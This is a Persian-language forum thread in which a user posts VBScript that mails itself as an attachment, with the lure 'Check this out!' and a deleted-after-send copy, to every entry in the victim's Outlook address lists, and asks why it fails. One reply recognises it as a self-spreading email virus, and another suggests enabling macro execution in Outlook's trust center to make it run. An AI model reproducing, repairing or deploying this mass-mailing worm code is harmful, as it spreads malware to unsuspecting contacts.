ايران ويج

سلام
من یه برنامه نوشتم کخ می خوام از طریق ایمیل اونو به آدرس بوک خودم تو اوت لوک بفرستم
من برای این کار از کد های زیر استفاده کردم که البته نتیجه نگرفتم

کد: 
Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

OutlookEmail.DeleteAfterSubmit = True

OutlookEmail.Send

Next

Next

End If

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

حلا لطفا منو راهنمایی کنید که چرا ین کد جواب نمیده فقط تو رو خدا زود جواب بدین[/quote][/php]

سلام.
تو یاهو هم گفتم سرچ کنید. قبلا مطرح شده.
http://forum.iranled.com/showthread.php?...9#pid43309

سلام
شما با من زياد تو ياهو صحبت كردين و به من دوست عزيز گفتن كه :
برنامه اي استادشون خواشته كه مثلا اتوماتيك براي ليست اوت لوک ايميل بفرستن من احساس ميكنم سوال را اشتباه فهميدين ولي باز گفتن كه به استادتون زنگ زدن و همچين حرفي را باز تكرار كردن كه شما بايد همچين كاري كرد.
بنظر من استادتون مشروب با درصد 52 الكل استفاده ميكنه ويروسي كه بياد اتومات خودشو تو ايميلها منتشر كنه از بزرگترين ويروسها به حساب مياد كزم غيز هم نتونست همچين كاري كنه كه بزرگترين ويروس ايران به حساب مياد.

دوست عزیز نگفتی ایراد برنامت تو نوشتنه یا چیز دیگه ای. لازم به یادآوری است از office2003 به بعد برنامه اوت لوک قسمت های اوتومات ارسال ایمیل را بسته است شاید از این باشد اگه می خوایی می تونی امتحان کنی و در قسمت trust center اجرای ماکروها یا توابع vba آن را فعال کنی شاید نتیجه گرفتی

iranian_g

Payman62

Mr.pRoGraMmer

dll